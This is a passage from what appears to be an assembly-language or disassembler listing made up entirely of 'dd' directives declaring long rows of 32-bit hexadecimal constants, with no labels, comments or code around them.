		dd 4B9CDA43h, 0F2203CDDh, 0E0169D80h, 0EC708B99h, 318AB400h
		dd 0B723CCFh, 47670092h, 0DEC5686Ah, 0D20CB9DAh, 11655A0Dh
		dd 22D37881h, 0B1607856h, 0B7367D20h, 0EF508848h, 0EB2C3CE8h
		dd 490C4BE1h, 1E91803h,	22244057h, 0F09D2680h, 3F002ABEh
		dd 8D67C60Ch, 0FD76D4Bh, 96257399h, 0C0BF1E9Eh,	22587FEDh
		dd 0B492E3FCh, 83B86900h, 5E81D028h, 52D0F91Fh,	0AEFF1524h
		dd 0CB0C94ECh, 7330C5F3h, 3128C860h, 1AC23Bh, 0BF90662Ah
		dd 14ACFD67h, 0D00CC902h, 0F5E02FDAh, 0BDC59C0h, 80A7693Dh
		dd 0F7E6E8EEh, 3655759h, 891AF5Ch, 80BF7353h, 0BA966AFCh
		dd 97D74D07h, 91D3EE98h, 0D468C04Eh, 50230065h,	0F5768F42h
		dd 3D7BE0AFh, 8A4EA600h, 0C7AA22AEh, 957D03E7h,	65C1CBF8h
		dd 5D631DEAh, 8BDE2D88h, 0BAE83076h, 0DC5738h, 2A6BD087h
		dd 303B64C9h, 8EE8C7BCh, 57002354h, 0E4A8654Ah,	0E842B522h
		dd 0D084AB9Dh, 2C9C2DECh, 0BECC2892h, 8FAA4B00h, 4A44EFE1h
		dd 97E01000h, 8373A9D7h, 0EE313057h, 0FC29BE29h, 77D3E00h
		dd 6F62F521h, 9CB9E823h
		dd 518B0310h, 0D49896FCh, 6BE69C1Eh, 0A172170Ch, 26D5088h
		dd 51C6F9E2h, 10A23AECh, 0D008B249h, 834AC69Fh,	60403C52h
		dd 0D17D4BFCh, 9EC33C70h, 0CA88FC48h, 84A8CBDCh, 0C50485E9h
		dd 0ECA9D5FAh, 38A64D83h, 0F8104970h, 3E067C91h, 69A77D7Ah
		dd 83781818h, 25EDF9D5h, 105C7037h, 43CFC3C0h, 1A8D3E76h
		dd 0FE00D358h, 0BABC5FDCh, 4F00E235h, 324A3969h, 0B6A51h
		dd 0ADE69CB1h, 4E56A4CEh, 9287F500h, 8B6FAC57h,	0ABE0C09Dh
		dd 7D1F9C27h, 3F97F81Eh, 0C806817Eh, 767A3A56h,	54CA2D0h
		dd 1A0F33A4h, 7594C0F0h, 0E900D6A7h, 8844E4CBh,	1CCE97h
		dd 0E74A70DAh, 722174FFh, 0FCF63D1Dh, 957004ABh, 448D072h
		dd 4327CAF1h, 87F62DCh,	712CE210h, 0CF3CC19Fh, 2F60B0Ch
		dd 141C84A3h, 685AC903h, 491D62D1h, 0FC188020h,	0CF758D20h
		dd 68A20CCDh, 2C986E11h, 5850A1D9h, 68101841h, 0ADEA4C41h
		dd 0F6150986h, 0A1281927h, 8B6D1C6Fh, 0B6311089h, 2850B2F2h
		dd 23426010h, 40888F7h,	0E2EA27C1h, 448CF094h, 0CCC9CC72h
		dd 1CA61009h, 94F2A306h, 28089573h, 510C15EBh, 0A6F214CBh
		dd 2380154Ch, 10340AF4h, 6BA85060h, 45830021h, 6DB54CFEh
		dd 0C501D7D1h, 393FBEA6h, 0CED0129Ch, 60CE8B7h,	4D55EA14h
		dd 108209CFh, 187C041Dh, 10E80B1Ch, 0CA04D3Dh, 600B95Eh
		dd 0FA2AC1AFh, 0A54B66Ch, 0E2F3D7FDh, 71DA0020h, 3B9434Bh
		dd 193C7630h, 665E9016h, 51EE38BFh, 359BEB18h, 30518E20h
		dd 0C48DAD5h, 9F727686h, 0A9250609h, 181813Eh, 388010D5h
		dd 800FA81Bh, 10C00CC2h, 7B456CB1h, 0AAEC0699h,	69581D36h
		dd 0E776870Ch, 984875h,	0B709D5Bh, 0B1CA6209h, 0BF0CC31Dh
		dd 183D0F20h, 0B7209D3Ch, 3E3FED36h, 30239024h,	0CE8CAC9Eh
		dd 3CCD0896h, 0CC03AEC2h, 38F3EB99h, 0B548C063h, 0B6083A13h
		dd 0AC94B900h, 3FA488EFh, 3E7E8003h, 0A01B3CB3h, 14A0Ah
		dd 1CEE7F68h, 690604A1h, 8C28613Ch, 0D90884F1h,	0CC770E9Ch
		dd 8C743E19h, 0EFA4A50Ch, 1D00F8E9h, 984D2D04h,	0C0F27127h
		dd 8D790189h, 3901F01Bh, 3B0C1F16h, 32F593B7h, 2A852888h
		dd 694630Fh, 2811306Eh,	1E8849BFh, 37AE601Ch, 0FE956038h
		dd 2D18BA2Ah, 1030341Eh, 0E1308339h, 15B508F1h,	0D0BF4982h
		dd 146EAA05h, 191CC03Fh, 0DA488CFBh, 10B52804h,	0B01B3628h
		dd 0B628D18h, 50CFA6A1h, 0A0C0B099h, 0C03AD8ACh, 34AE7030h
		dd 0CF00E50Bh, 0A11A50F1h, 28763C33h, 85940FE0h, 0B41031A8h
		dd 0EF068EDAh, 8CD0C211h, 0F638494Bh, 731C9450h, 0FCE014B5h
		dd 0E6A2B890h, 5FF433h,	984974AEh, 0BF3EABB2h, 506A0015h
		dd 4D515C31h, 0BE130127h, 74B43DB8h, 4220201Fh,	78094C40h
		dd 0EEA4A05Eh, 7F270037h, 0A56CFE4h, 0B4003243h, 8BBF349Ch
		dd 192B1D6Ah, 0C824521Ch, 10E9EFC7h, 0C391D403h, 0E382B104h
		dd 5091E91Bh, 0CB014ACEh, 1586300Fh, 271C8C0h, 0C20D5276h
		dd 1736B9D8h, 0E9D8B8AEh, 0CF747E92h, 0E3770512h, 70D8D050h
		dd 4EB8F91Ch, 8C93F70Ah, 80D28250h, 7BEE6DCFh, 0C814883h
		dd 812C011Ah, 2A0D1C82h, 22891841h, 8B558430h, 884114D4h
		dd 4D251136h, 1CC4C42h,	430FFB76h, 0F12A1060h, 503E493h
		dd 80EAFCD5h, 7AEE086h,	0FAB802F1h, 0DCDBFEBh, 87283841h
		dd 665A1D9h, 0C33395A2h, 0ACB14173h, 69C62998h,	82E03DA1h
		dd 0CFB91CA0h, 60152890h, 7580C01h, 0F245C235h,	908F9082h
		dd 480A2E48h, 7F00B44Eh, 44AED2A5h, 3D31B20Dh, 0CFF8005h
		dd 3AB020B3h, 1AC09CE0h, 13616012h, 81B3B800h, 64F8CF9Bh
		dd 405478BEh, 2B8C131Bh, 7190608Fh, 328DB8BCh, 68346E28h
		dd 0B0C1492Ah, 88C456F9h, 11CE350Ah, 6880E4EFh,	2CA8914Ch
		dd 3DB0030Ah, 0C2AE7354h, 0EDB6B8B8h, 1F78EB12h, 0EE773805h
		dd 67E18C43h, 1030C202h, 98F8EBFCh, 1DE8B718h, 691A581h
		dd 1FF9EFB5h, 0AE3AB90Dh, 3D69E2Ch, 103B360Ch, 65CC010Ah
		dd 28777B12h, 0C899AA71h, 8A0C667Ch, 108935BFh,	0D1600E7h
		dd 2437B1E1h, 0F250CCA1h, 98A8148Ch, 6F3F7717h,	0B84A007Dh
		dd 0C7E9C0BEh, 77F4B136h, 24F837C1h, 48FF50C4h,	81091C2Eh
		dd 0F400B36Fh, 0C3D5AE11h, 5CBB71Fh, 82EC9B80h,	0C188F0Dh
		dd 0B16D920Ch, 0D4444229h, 997720CEh, 0AC114142h, 28B628AAh
		dd 29725A32h, 0C04E1045h, 3E080A89h, 88B97D44h,	763F4AD2h
		dd 9B5D1EE4h, 6208EEC0h, 75AE8BDh, 0A2DBD446h, 0B5E7702Ch
		dd 0B0001D2Eh, 441159F0h, 7FBFF8Ch, 0F9FEA348h,	0EA058047h
		dd 22006706h, 3DA8EBB2h, 4B98017h, 2E3F1356h, 236380C6h
		dd 27F89F20h, 8C815D00h, 60D196F5h, 57090047h, 0B5AFE7A7h
		dd 0FF00F2C9h, 941CCDB3h, 0E6857Dh, 0D14724B6h,	0FC66C291h
		dd 0CF7BBD1Eh, 0C9C0C8DCh, 471F8EC6h, 64B30026h, 957821DDh
		dd 431C6549h, 0F60051E4h, 271EEBC0h, 0BF470018h, 0A33E8FFEh
		dd 50F4BE30h, 46551B01h, 2BE8CD6Ah, 0DE08C0h, 0A105DC6Eh
		dd 9E818B14h, 0CC46E300h, 8184D09h, 19DA13D4h, 0A8B84031h
		dd 3A8127C4h, 222A9707h, 40F0C9C2h, 4CCE178h, 3371932Eh
		dd 4A1CC0FAh, 301DC50h,	0FF6558F4h, 0B4E06187h,	297C003Dh
		dd 0BD0DAAEh, 20057DEh,	0C39DB1D4h, 5CEB9F39h, 30012047h
		dd 0DAE9DBFCh, 9F8771C1h, 0CE407480h, 3260D591h, 4CB13E85h
		dd 65E24487h, 154F50E0h, 0F070523h, 99ADEB62h, 0FDC9B800h
		dd 0B67C00A9h, 0DF54C26Ch, 0AB0169C7h, 426AAD17h, 0A1D4B460h
		dd 0EDB00002h, 905BCFA2h, 0BB00940Dh, 2EEC3738h, 0EC64B151h
		dd 0E6303C8h, 8EC4049Dh, 85F92003h, 0A8BC7D73h,	0F5CBC5h
		dd 0BE3FE655h, 2F3EA075h, 98350F00h, 0AA8882A5h, 1AD7BCAh
		dd 0F161F459h, 25F6D334h, 7E088048h, 0FB8C41B9h, 315609C7h
		dd 0BC073206h, 669AB0B6h, 0C31E50B8h, 0C200B769h, 0ABA0C1C8h
		dd 51E60775h, 0C00C77AAh, 44C5D713h, 9B7BB1E8h,	3F7E0817h
		dd 0F04768E0h, 8324000Bh, 38DB4501h, 0B9A0D8E6h, 1E009431h
		dd 0E391C993h, 3B1633ADh, 90002B0Ah, 0B99618F3h, 6600F881h
		dd 2D38B0FAh, 0C5352Eh,	0A8ECBCA6h, 0ED2F5818h,	662C0C00h
		dd 331D2901h, 20234DA9h, 10481300h, 891FEAA0h, 456B7B03h
		dd 0E0277111h, 171C2D6Ch, 0A0BEC9BBh, 8600D4E9h, 40A15018h
		dd 1624F6h, 327CA7FCh, 9546705h, 5E3B651Dh, 98F69C00h
		dd 3D83D788h, 0D10F6BF7h, 6979A636h, 98A07EB4h,	0D6760724h
		dd 0B0A9826Dh, 98504B9Fh, 7004CB00h, 963ACCCDh,	5BAD00B5h
		dd 0E7C6170Ah, 46000C37h, 0B6D64D2Bh, 1F57BBCAh, 7909621Bh
		dd 5CFC1200h, 5E8394A2h, 0CD969C00h, 0BEC37636h, 0F9FE78h
		dd 0E9563380h, 2BA1E241h, 3ED79200h, 42EAE19Dh,	0E7BE0F54h
		dd 80A06685h, 337D8235h, 7CF2F500h, 604C36A1h, 0B5840958h
		dd 0C080ED89h, 9B28A25Bh, 53871F00h, 56722086h,	90D300A7h
		dd 1B0FD2Ah, 0D200F3ECh, 0D54103DBh, 4ADD6Fh, 52FF72EBh
		dd 58DA3D26h, 1701FB00h, 2E1A67F3h, 36DC0053h, 193B8FF0h
		dd 0D4A026D7h, 76120602h, 0A500A68Ch, 7CFC18E3h, 4A1B0009h
		dd 542EE12Ch, 0D1C81CBh, 97808D83h, 199ED55h, 0CC0B0019h
		dd 2C6E9428h, 0B45C264Fh, 0E77A00FBh, 50535FD2h, 0B7730Ah
		dd 2CB2790Dh, 0EBC9F288h, 380048F6h, 65838166h,	9BFD09h
		dd 0D73BE3B1h, 0F2DC67ECh, 330685Ch, 0B8128C5Fh, 35190036h
		dd 1B9072B5h, 98796EF0h
		dd 0C600387Ah, 7F88B101h, 1DD95A18h, 0C0D5C875h, 11D6F202h
		dd 0D700D4D8h, 0E8F51415h, 26ECB3E4h, 151EA08h,	3FABEBDFh
		dd 46C4FC7Fh, 0DA53ED00h, 0BC4B5589h, 747803BDh, 0C61CDBE8h
		dd 31BEDF90h, 70BCD00h,	2D7E15D5h, 416239E5h, 13811678h
		dd 0C2121E74h, 2E06B734h, 274CCF60h, 8065043Eh,	4837183Eh
		dd 4AA012Dh, 7D5D9640h,	0CF7CE0BEh, 900CDE00h, 8A27DB5Bh
		dd 484496Ch, 0F0641Fh, 0EB589469h, 48F4B966h, 0F38C3100h
		dd 0F595D75Eh, 94CA0C71h, 0BB107506h, 4E73EB00h, 2ADC5293h
		dd 0EEA07232h, 1C8A4C9Fh, 8CB04300h, 19E2C359h,	0D3D02C00h
		dd 9E895081h, 0F90248E4h, 4C2D6A00h, 0A27F49Fh,	0AEDBB800h
		dd 11E5A522h, 98A93DF9h, 87E60E8Fh, 46C3D660h, 8B7A58CFh
		dd 9907F4B8h, 0AF4ADE47h, 9A1583C0h, 260A002Dh,	0FC72E2EBh
		dd 973CEAFFh, 999D0082h, 1D55D63h, 31410037h, 0CC526266h
		dd 5C783D64h, 1F2F2470h, 2747C3Eh, 3003A6D0h, 63955C68h
		dd 7BDFC400h, 0FCA166CCh, 40B0F9h, 0EDFF34F7h, 0BE5CCF32h
		dd 82732C03h, 0E872531Ch, 0D62079h, 8E45EEF9h, 4995C4Fh
		dd 0EBB42C03h, 83E87052h, 0C7110743h, 0B0A4A0ADh, 41DAE082h
		dd 942459h, 0D0AA25F4h,	511BFEh, 2833723h, 0FF297147h
		dd 0A5B40B01h, 6A25724Bh, 739FF0h, 0F2567F85h, 0A23A6880h
		dd 8976AD39h, 80B399A1h, 0AEBA8B8Ch, 0D6E60233h, 0E8C439D2h
		dd 0B212B850h, 0ACC00BEAh, 4960BD66h, 0C700D816h, 0F5EE501Dh
		dd 0E801B2CCh, 75B1A98Eh, 208E4D68h, 7D40AB61h,	6DAF7963h
		dd 0BE9DB600h, 3B8A6C1Bh, 0F2B90160h, 0D650486Ah, 313FE885h
		dd 0E0E4A82Eh, 728CC400h, 5C8AAF9h, 6587294Bh, 97D580D8h
		dd 0A900A160h, 9E0B2656h, 75D4EBh, 42F464ECh, 0DB1B421h
		dd 0E206600h, 0AA95AC85h, 0A4050A4Ch, 0F03024h,	81BC8CD7h
		dd 0E5008764h, 767F7932h, 259E8CCh, 29182BB5h, 57406BC0h
		dd 6E98F80Fh, 108F9F14h, 0C2890288h, 60D3DDCEh,	0D6AF0Ah
		dd 0EFB87A60h, 0E00A9E12h, 0DF0FCBAh, 0B931473Eh, 4C498008h
		dd 0B0EE5564h, 115032FBh, 85605B10h, 3090203Fh,	0AF948000h
		dd 0A68ABD9h, 0A860C0D0h, 66296BA9h, 0C86D3Ah, 0D150574Eh
		dd 73D3A9Dh, 0CC7AC98Eh, 97C01002h, 10603CA2h, 3AD32DA9h
		dd 66110076h, 0D1137F21h, 1B0F9206h, 2CA68ABBh,	0F230864h
		dd 0F90BEB56h, 8D07ED80h, 0DC07F1C7h, 0B7B462E1h, 5E905757h
		dd 0C228B68Bh, 0AD2574A8h, 2E8EB720h, 8FB80169h, 94CF3FC9h
		dd 0DB0C30D8h, 0A5584271h, 0F3FF00A1h, 120BF82Dh, 6D3001A9h
		dd 0D046FCC2h, 2C74C8B1h, 0A7006C92h, 0BE7FB725h, 75FBA7Ah
		dd 6402ABFAh, 92801E41h, 54961B5Ch, 1FE0D100h, 0EBC3ED19h
		dd 7D3606C5h, 10EE28AAh, 0D9BA2101h, 8509A17Eh,	0BC6EC4h
		dd 50DC6CFBh, 3645B77Ch, 0C8CCF301h, 42E2B7Eh, 0F011038h
		dd 1D639276h, 49888048h, 0AE621C60h, 30FD00D6h,	960197D8h
		dd 0D21DE6B4h, 351E53EFh, 682AB640h, 33E8ACh, 0E1778528h
		dd 2F4C92D6h, 96001073h, 0BFB318CBh, 62E3BA5Ch,	31807003h
		dd 0D82E6852h, 0AF2618CFh, 0A4964300h, 3114934h, 0AB406AD0h
		dd 9FC2AFh, 0BB247FC7h,	74A82216h, 49275B00h, 392BF338h
		dd 8A01D3B7h, 0E3C8CF7Dh, 30EBE5BCh, 87005284h,	694CA026h
		dd 735788F1h, 7E5C3AA8h, 0EC2B9F80h, 0ADD0359Ch, 4700F078h
		dd 3099FC15h, 5B6318h, 2E59F223h, 60A1EA19h, 586D3C01h
		dd 122C79Fh, 0E521AE4h,	9CEBAF4Bh, 0EFD3DA05h, 66BB3700h
		dd 0E916C7Ah, 853BFB89h, 0E18E3860h, 0E5007745h, 5D97B8DCh
		dd 46F41Fh, 1865DD8Bh, 3BD50987h, 0CCB4DB00h, 0A54EF906h
		dd 0FF3100B2h, 57A0C37Ah, 20005BF6h, 8FB3EEA6h,	0AA211Fh
		dd 0F5F98099h, 350FBBACh, 2DB4F401h, 967A2E6Eh,	939FD4h
		dd 6644C1A2h, 0D3CB8E3Bh, 1ED64C0Fh, 886D00FAh,	0DCE468h
		dd 0CD5125AAh, 0A8A29608h, 0E4B2F02Eh, 35BAE600h, 0FA159F0Ch
		dd 0AD05007Dh, 1C19B6F3h, 6E98B790h, 0AFEED900h, 0B97D408Ch
		dd 96F80042h, 56BA947Ah, 10005909h, 0A4A33679h,	3D4236Eh
		dd 0B25679Fh, 0B5939BDEh, 43EDD180h, 11798900h,	75566841h
		dd 7B740F80h, 530048E8h, 3140BD2Eh, 1EDCF00h, 0B7CE4698h
		dd 0E6A53914h, 736A81D0h, 8AEF0005h, 2D5E71EBh,	0A700AC1Ah
		dd 0E0125B60h, 824793h,	35EDFDE9h, 5E21341Bh, 16969A00h
		dd 0F6DCF717h, 60E29Dh,	5CD7A211h, 0C8A413C6h, 281C5A7Eh
		dd 3E4044D6h, 98157BBCh, 8563009Dh, 0F3192959h,	9F0017DCh
		dd 6896EC08h, 6034D0A8h, 0E3395913h, 41008EB8h,	0C0802F7Eh
		dd 1F3C7Ah, 0B33ECB42h,	14EE1C2Bh, 0CF55C300h, 0A44756E5h
		dd 812E00D8h, 5E33537Dh, 0BE0015ECh, 0C93B0183h, 0EFAA907h
		dd 0A0D49FB2h, 47438E00h, 3E00D7C5h, 0E7FEC64Fh, 924DAEh
		dd 62B3B63Fh, 17FB0D34h, 70200700h, 2E509658h, 6DC90099h
		dd 388E719Dh, 1F008423h, 0F2ECD5B6h, 7250E37Ah,	5DA407FFh
		dd 0A0CAC5A9h, 0E72CE6F8h, 5406D403h, 0F178FBA5h, 218E9620h
		dd 49C7D3F9h, 0FDC1C0BAh, 0B0004EDAh, 0C8515DC3h, 7B1173AEh
		dd 12FE08Bh, 99137845h,	0D8F2CB55h, 8801C558h, 0F1E8A4D7h
		dd 39606CF5h, 0A9FEF4h,	9C256961h, 76C3E21Fh, 0C066F600h
		dd 0BE8B12C4h, 921300C7h, 9310C8B5h, 6901AF46h,	0C2942A7Fh
		dd 81408D62h, 1CEB25Eh,	0B9D677C3h, 0D19F7D5Bh,	0DA087054h
		dd 44277F00h, 0F2AFF7F9h, 71EA7FE9h, 0BED807E3h, 4039DED1h
		dd 54C00578h, 850FA600h, 55E0712Dh, 0F9E095AAh,	8019A27h
		dd 6BE1C7Eh, 3ED40BF6h,	0B9500117h, 0EBDF44DAh,	672ADCD2h
		dd 0A97FA703h, 0F8130DFCh, 0C115CA6h, 0FB636898h, 4F0E6FD8h
		dd 0E03B2977h, 43BB305Eh, 0C36C0011h, 0F2010F24h, 0ED1C233Fh
		dd 664116E2h, 0A6A11AFAh, 0F5C3EF4h, 0C18F77Fh,	368F4A66h
		dd 0E790BC0Fh, 18F4BE9Fh, 0A8D59C80h, 0D42A1CECh, 0DAA103F1h
		dd 0FFE8A558h, 0AC00E295h, 9FC72907h, 0C53B0Ch,	8C32AEFh
		dd 729CBA7Fh, 63E0A403h, 0C0D35DB8h, 414B95h, 0DB65754h
		dd 0CB71CFD0h, 8CEAC30h, 0FD12C9h, 8D31EF4h, 0F295DEB8h
		dd 47661C00h, 6B327BCCh, 4F5AC1FBh, 0DDB6D1F8h,	0E48CF0B4h
		dd 0C075610Fh, 0E576208Ah, 0E83A4604h, 49A900EDh, 4EA2F14Fh
		dd 0A00ED595h, 0EFFD424Ah, 2FFE4355h, 37A8E0B2h, 8C4901AEh
		dd 8FA6B368h, 9210806Fh, 63AF43Eh, 2CA91C6Ch, 0E4E8CEh
		dd 76250E41h, 79FCDC71h, 0EFDF6E00h, 0A8BB040Fh, 68BF0E4Fh
		dd 540B314h, 669C6415h,	7FF63Eh, 7E2D484Ah, 4C1E9521h
		dd 0FA009A51h, 0A816E5A4h, 4700993Eh, 0A09E8603h, 0E511589h
		dd 100B8529h, 3440439Eh, 91CBEC84h, 0FE751100h,	0F8590DABh
		dd 10E509EDh, 1000CD55h, 0D358685Dh, 0F46AC538h, 878FD73Dh
		dd 1D8836E3h, 9EDE2E50h, 4AC600E8h, 0EF98A037h,	0BE00119Ch
		dd 0D927843Ch, 0FF1B813h, 31D768EAh, 12F8A745h,	619A03DCh
		dd 0E0C7C6BDh, 409CF5B9h, 0CC9F5A00h, 0E8FC5586h, 2F850027h
		dd 2C716D63h, 0A00ED4Fh, 47D961C8h, 1FF15B32h, 8027B9E1h
		dd 74445D82h, 0D1016EAFh, 0CCA8C32Fh, 48C0FBCBh, 206803EEh
		dd 852BB29Bh, 4E1898A8h, 7BA73707h, 0E9C0FEh, 0D8F48A84h
		dd 0DAE00030h, 0C9CF01C4h, 4100D2F5h, 3BADF8EDh, 61E147h
		dd 0B2137D2Fh, 0C159321h, 3B61B00h, 368B10C2h, 0B327056Dh
		dd 0C0429233h, 63294547h
		dd 805D8F3Fh, 0A754EBFBh, 7C9B85Ch, 4AE83E2Eh, 90E5C08Ch
		dd 0DE0AAD0Bh, 181C287Eh, 0A0205990h, 3AE888F4h, 9234B700h
		dd 0B87EB1E6h, 0B0E0E593h, 570F0C0Ah, 0B97869C3h, 0E641DF04h
		dd 0F491A7ABh, 48BA7619h, 373B4880h, 5363E27Bh,	0A6285100h
		dd 5DD3479Bh, 7698010Dh, 0B5A7754Bh, 36CBE8C7h,	29384600h
		dd 5B662425h, 0F4BD002Fh, 20E4AEA7h, 0DE0AB107h, 5C602862h
		dd 80207590h, 3D9F3B3Ah, 69501B31h, 59460020h, 9CA57164h
		dd 7900A4D9h, 8037D6F5h, 0F8096C38h, 22941F33h,	512080C3h
		dd 0D62BABAAh, 77A7D700h, 8AF1B417h, 0F5C3EB3h,	7EAC780h
		dd 0DE9891CFh, 0A568EB0Fh, 70FA74F2h, 4900DD75h, 0D17C4F08h
		dd 709C3Dh, 6076D00Fh, 5ED50EF1h, 0C33D13FAh, 68CD97DFh
		dd 3C068600h, 41288h, 3402211h,	61BC0B9Eh, 82E5EF1Ch, 0B4315AC0h
		dd 2EBF89F0h, 44135Eh, 79B62FE3h, 0DD1D5F7Bh, 88455BCDh
		dd 47BBC11h, 11B85518h,	0B1286784h, 963EBC71h, 0EA8300D8h
		dd 0FA37865Ah, 0B66301E4h, 5EA62994h, 0F088F112h, 239F3E0h
		dd 9EAC05B1h, 2C0036C7h, 40BEDD21h, 8E50C476h, 995C20C1h
		dd 299C606Ch, 582BD003h, 6A3D80A0h, 0B0154900h,	1051A9EBh
		dd 7A943F91h, 0ABCC283h, 61141D36h, 1060BD49h, 4E038A22h
		dd 78FC394Ah, 14D61801h, 46F95A1Eh, 538AEBF8h, 3010707Bh
		dd 0E150008Dh, 4B4F3CCBh, 9F3F181Eh, 59C0E8BCh,	7F68680h
		dd 0B45B3EFAh, 995F018Eh, 4F20DE6Dh, 0FFECD3BBh, 3F4C4Ch
		dd 5AE60FB8h, 0D9128B61h, 2CBC6240h, 21C574D8h,	1F4B0194h
		dd 8349CA6Ah, 5EE035A8h, 18387CE3h, 184BA992h, 6F20984Fh
		dd 540390F3h, 0CD694A5h, 0BF36DA78h, 0D5019C51h, 0EF34AC74h
		dd 0D270EA17h, 0A8E4E816h, 0CAFE8Ch, 0FDD81574h, 0A9F7BFAh
		dd 81083148h, 0B704C098h, 37A28C40h, 0FC4B50E2h, 40F96FEDh
		dd 0D3EC5BA1h, 0F131800Eh, 99C39F24h, 37FC7FFFh, 6A088490h
		dd 2CD08088h, 0DBF1E49Fh, 50029200h, 0EBE560D9h, 0A7B445Ah
		dd 51193331h, 0A9BAB538h, 9D0B03FCh, 0E99318C0h, 0B9677AD8h
		dd 0B6624706h, 29EE39h,	0AEC0B48Ah, 950815BCh, 3700997Dh
		dd 7AC13182h, 30F26C22h, 0F61EBD2h, 840029E5h, 48F3344Bh
		dd 5430257Dh, 8CC1A4B3h, 0A374DA04h, 0EF62F734h, 74F39B20h
		dd 7A8400B7h, 1025EABh,	31DCBB1h, 0C9C48BE5h, 86009EE4h
		dd 0BA683748h, 91B47A1Eh, 45808B80h, 31032C3h, 0D348560h
		dd 0B0BF3018h, 94F86315h, 82FAB417h, 0CCA04900h, 76C4B21Ah
		dd 9F8A00DDh, 30DEFFCDh, 6300B3E1h, 5E7751DFh, 792D39h
		dd 0B1433103h, 3B69E9D0h, 0EFDA2801h, 18E39A90h, 0E7C2F0h
		dd 5EE4ED9h, 0FCCC502Ch, 0F7721300h, 0ADA50BF4h, 93190010h
		dd 0F5AF392Dh, 7500DE5Ah, 5D59CAE8h, 102C72Ch, 84AA6BA0h
		dd 0F0C95026h, 18C0273Dh, 0FDAF93F6h, 132A02A4h, 47F23B03h
		dd 0AACB46E0h, 0ABC9F000h, 0D5196D86h, 0E7D7032h, 0FB839F3Dh
		dd 21FCAA83h, 801907Ch,	0F540B2A3h, 19801C73h, 0DFDEBC37h
		dd 97207D8h, 2FEC700h, 5E0E8839h, 4241005Bh, 1DF5E482h
		dd 10069F4Bh, 0A9522535h, 453D1878h, 7DA56102h,	0A06DBF30h
		dd 9ADDA1h, 2EC41129h, 0ABCEE5B6h, 9B8C2554h, 8200AA7Bh
		dd 3D40EEECh, 0F65CF2h,	1042A1AFh, 0CE2A33B4h, 2CA08100h
		dd 0D32218FEh, 0BAB1C0C3h, 0CE97BD57h, 6158300h, 4CD28666h
		dd 637100D9h, 30946D69h, 8900055Ch, 7A0B8F84h, 755EB7h
		dd 0D9D1D656h, 12DA8A3Ah, 1AFD4C00h, 92B59CD3h,	40610005h
		dd 1E8C90D6h, 88265049h, 0B07488Ah, 5FE19874h, 25F8BEAFh
		dd 3A29007Fh, 0E96CC439h, 957944FEh, 1B714D00h,	49368D08h
		dd 0E0565A5Dh, 541E6605h, 3B6864h, 0D1152CE1h, 63FFC5h
		dd 16FC469Eh, 31F4F649h, 76EFD300h, 505614DFh, 0E4880087h
		dd 724A645Ah, 4D00F869h, 8A24CCD7h, 0B85F1A7Ah,	18D10012h
		dd 4C382040h, 97752775h, 0A2BA4A00h, 90F046DFh,	0EB9F0065h
		dd 0C57A1142h, 69F852C6h, 0F653C700h, 255CE06h,	3122000Fh
		dd 45ED8CA1h, 60F8BFFAh, 66098400h, 7E7A70BEh, 8B720058h
		dd 9715488Ch, 0F9008AC4h, 1FD8CF28h, 19BDC906h,	2879985Fh
		dd 0ED7F0887h, 6E10E412h, 8351C85Eh, 0FE6ADE41h, 0CC101002h
		dd 0DF29C867h, 88583047h, 44883C5Ch, 84DB9069h,	915C92AFh
		dd 64A92819h, 0AA19D742h, 9342990h, 532882E6h, 757F228Dh
		dd 3C02A025h, 67A14EFh,	2B00292Fh, 50535BBCh, 0D87BE0h
		dd 3F8FBF51h, 2368B554h, 8C4CA01Dh, 80D05C0Fh, 894A2536h
		dd 0BE31003Dh, 59340884h, 1000CDDh, 0C89EAB4Eh,	0D3627h
		dd 60545ECBh, 6FD46AF2h, 229DF100h, 944F059Bh, 0D235002Ch
		dd 38680F09h, 2D00EABDh, 0B34AAAAEh, 38C96654h,	238032ACh
		dd 0B9E85C42h, 3600CBBBh, 0D0B0AB4Ch, 58051550h, 0EA00EE29h
		dd 0DCC59B1Bh, 4458B266h, 954004Bh, 2E782916h, 0DEA61h
		dd 226AA399h, 0CBF598A4h, 0A89DB800h, 56776D88h, 2E063D14h
		dd 100973Eh, 852F9057h,	6200385Fh, 0ABB1B743h, 1165D5h
		dd 54D2CBA4h, 0F4B5C87Bh, 958D5103h, 40D6Ch, 0E09DC518h
		dd 0A4F94B1Ch, 0CE6064B0h, 8FFEB561h, 26230797h, 108B1379h
		dd 0F3FA647h, 95434C00h, 8698F7DCh, 884B3A56h, 14009B3Eh
		dd 0BBDF3EFEh, 7C0FF920h, 4FE5AF57h, 0A6128352h, 2C1B98D7h
		dd 9B0100E8h, 0E406F6Ch, 918C4AAh, 0A2106E35h, 49802C88h
		dd 173F0068h, 2DC23191h, 0D40F42EAh, 46BA321Dh,	38415E11h
		dd 1806B07h, 6EA076B7h,	19003543h, 309C58CFh, 95638Eh
		dd 64F0ED0Dh, 0E8B23E47h, 0C45A2A05h, 0EA80AAC0h, 7E3E00Ch
		dd 8DC5835Dh, 0D543087h, 5B00F2D8h, 822DF9CCh, 0E8A780h
		dd 0E0495883h, 5AF8481h, 28EF1030h, 0C0CAE16h, 30639EADh
		dd 3F008A70h, 55B6DCE0h, 7B2C29h, 84978D1Eh, 4E30A83Ah
		dd 33C1D400h, 4CACB41h,	0D5C80094h, 0F1A4DE37h,	0DB3C2603h
		dd 0F7B902F9h, 0E08B1418h, 627E05Ah, 0D2FB0BECh, 0AF0B8EDh
		dd 0AEBF6B00h, 740DB133h, 186C00A8h, 19FBA1D0h,	0FC00A027h
		dd 0C2B826D3h, 30BEDE41h, 0D5AA6FA9h, 501E3E3Ah, 8D00D8E4h
		dd 43D4BA0Ch, 628E03BFh, 4AE9F981h, 8BA57DD8h, 0BAF66800h
		dd 5DC08287h, 643A0B88h, 0F0802714h, 1F1504BCh,	1D0E4401h
		dd 7A9E2CB9h, 0C755709Dh, 606B4503h, 54331B74h,	0F197E3Ch
		dd 6F0C9h, 4A836653h, 2FBF1D4Dh, 9AA90B16h, 0E41F2200h
		dd 0AB003E34h, 0CA069BA6h, 0FF6C24h, 0EDECCC6Ah, 755B66A5h
		dd 2BA87002h, 0C3D0D102h, 589CE03Fh, 3188001Dh,	0B08C04B8h
		dd 110030C1h, 0CB55DFACh, 4BEBE6h, 0CFE91338h, 37CD946Eh
		dd 0E3001F72h, 70C44C08h, 0CFE69h, 17073C3Ah, 0EEB7C6E4h
		dd 0ED2B4A00h, 0D1DE276Fh, 3DE2001Ch, 3AD37BAh,	84002150h
		dd 4C25C7BEh, 13018ED6h, 2D8D0A4h, 798AEF4Bh, 60E19C80h
